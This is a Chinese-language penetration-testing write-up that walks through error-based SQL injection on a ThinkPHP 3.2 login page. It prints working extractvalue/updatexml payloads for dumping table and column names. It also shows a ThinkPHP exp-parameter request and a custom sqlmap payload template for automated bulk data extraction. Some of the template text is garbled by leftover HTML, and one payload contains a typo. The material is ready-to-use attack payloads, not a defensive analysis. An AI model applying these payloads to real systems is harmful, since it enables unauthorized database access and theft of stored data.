某次報錯注入到自定義sqlmap的payload全過程
01 登錄框存在sql注入:
通過前期的信息搜集,發現站點使用thinkphp3.2版本的框架,在登錄頁面驗證存在sql注入:

成功讀取到數據庫版本:

02 嘗試通過手工注入獲取后臺賬戶
遺憾的是sqlmap連注入都識別不出:

--proxy=http://127.0.0.1:8080,將sqlmap的流量轉發到burp分析payload,發現sqlmap發出的包多加了一個AND:

換手工注入:
查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='xxx'),0x7e),1) ,結果報錯了:

分析原因:報錯注入的錯誤信息最大長度為32,如果我們想要的結果超過32,就要用substring()函數截取或limit分頁,一次查看最多32位。查表名時,db_addo后面還有數據,所以db_addo這個表名是不全的。
limit分頁:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(selecttable_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)
//limit 3,1 讀取第四條數據,第一個參數指定第一個返回記錄行的偏移量,第二個參數指定返回記錄行的最大數目。

批量獲取表名數據:

03 嘗試更換sqlmap的payload全程自動化讀取
理清sqlmap指定報錯注入時獲取數據的流程,三個重要標簽:
payload>,vector,
1、首先獲取payload標簽的內容,這個標簽也是我們可以控制的標簽,這個標簽就是用來判斷是否有注入點,一般我們手動測到有報錯注入的注入點的時候,就可以把payload放在這里
2、 接著對payload里面的[]中的標志位換成隨機的字符或數字
3、然后對payload進行url編碼,同時設置請求頭,包括referer,host等信息
4、請求后返回獲取的頁面,然后將返回的頁面和中的內容繼續寧正則匹配,匹配后,如果返回值不為1,那么就會繼續循環測試其它的payload。如果正則匹配返回值為1,那么,表示存在注入,此時就會進行其他數據的查詢
5、返回值是1,接著就會調用vector,調用注入模板,將([query]),換為其它的payload,獲取我們想要的信息。
添加payload。sqlmap的payload在sqlmap/xml/payloads目錄下(新版本在data/xml/payloads下),關鍵是文件夾里的六個對應不同注入類型的配置文件和boundaries.xml文件。找到對應xml文件:

替換vector和payload標簽中對應的值,標題、level、risk自定義即可,一個完整的模板以,已結束,這樣得出適用于此場景的注入模板:
<span class="code-snippet__function" style="box-sizing: border-box;">Customed By <span class="code-snippet__title" style="box-sizing: border-box;">Kevil</span> <span class="code-snippet__params" style="box-sizing: border-box;">(EXTRACTVALUE)</span>2411,2,3,8,91<vector>EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))[DELIMITER_START](?P.*?)[DELIMITER_STOP]MySQL>= 5.1
04 測試效果

由于sqlmap自帶的payload并不適用于所有測試場景,很多時候手工驗證或者其他工具(xray)掃描出來的sql注入,sqlmap都無法識別出注入,此時自定義sqlmap的payload就更方便讀取大批量數據。